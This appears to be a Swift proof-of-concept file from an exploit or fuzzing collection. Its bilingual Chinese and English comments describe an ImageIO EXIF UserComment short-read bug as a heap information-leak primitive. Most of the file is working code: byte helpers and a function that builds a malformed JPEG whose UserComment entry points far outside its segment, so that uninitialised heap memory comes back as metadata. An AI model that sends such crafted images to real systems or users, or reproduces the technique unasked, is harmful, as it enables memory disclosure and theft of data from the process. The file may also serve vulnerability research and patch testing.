67 lines
3.1 KiB
Swift
67 lines
3.1 KiB
Swift
// iio.jpeg.comment · ImageIO · ReadUserComment · CVE-2026-112571
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// 原语: 信息泄露 · 进程内 · tier 2
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// Primitive: info leak · in-process · tier 2
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//
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// [zh] EXIF UserComment 短读 → 元数据泄露
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// getBytesAtOffset 的返回值未被检查。当条目值偏移落在标记之外时发生短读，malloc 缓冲尾部保持未初始化，随后该缓冲作为 UserComment 元数据返回给调用方 ——
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// 构成对进程堆的直接读取。
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//
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// [en] EXIF UserComment short read → metadata disclosure
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// The return value of getBytesAtOffset is never checked. When an entry's value offset falls outside
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// the marker the read comes up short, the tail of the malloc'd buffer stays uninitialised, and that
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// buffer is then handed back to the caller as the UserComment metadata value — a direct read of the
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// process heap.
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// ── 判别 / oracle ──
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// count 声明 0x400，值偏移 +0x4000。返回值里会打印实际拿到的字节数与前 24 字节。
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import Foundation
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// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
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enum B {
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static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
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static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
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static func be32(_ v: UInt32) -> [UInt8] {
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[UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)]
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}
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static func le32(_ v: UInt32) -> [UInt8] {
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[UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)]
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}
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static func be64(_ v: UInt64) -> [UInt8] {
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(0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) }
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}
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static func le64(_ v: UInt64) -> [UInt8] {
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(0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) }
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}
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static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) }
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static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) }
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static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
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}
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// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (JPEGPayload) ──
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enum JPEGPayload {
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static func exifUserComment(count: Int = 0x400, valueOffset: Int = 0x4000) -> Data {
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var tiff = Data()
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tiff.append(contentsOf: [0x4D, 0x4D, 0x00, 0x2A]) // MM, 42
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tiff.append(contentsOf: B.be32(8)) // IFD0 at 8
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tiff.append(contentsOf: B.be16(1)) // 1 entry
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tiff.append(contentsOf: B.be16(0x9286)) // UserComment
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tiff.append(contentsOf: B.be16(7)) // UNDEFINED
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tiff.append(contentsOf: B.be32(UInt32(count)))
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tiff.append(contentsOf: B.be32(UInt32(valueOffset))) // far past the block
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tiff.append(contentsOf: B.be32(0)) // next IFD
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var out = minimalSOI()
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let payload = B.ascii("Exif\u{0}\u{0}") + [UInt8](tiff)
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let len = payload.count + 2
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out += [0xFF, 0xE1, UInt8((len >> 8) & 0xff), UInt8(len & 0xff)]
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out += payload
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out += [0xFF, 0xD9]
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return Data(out)
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}
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static func minimalSOI() -> [UInt8] { [0xFF, 0xD8] }
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}
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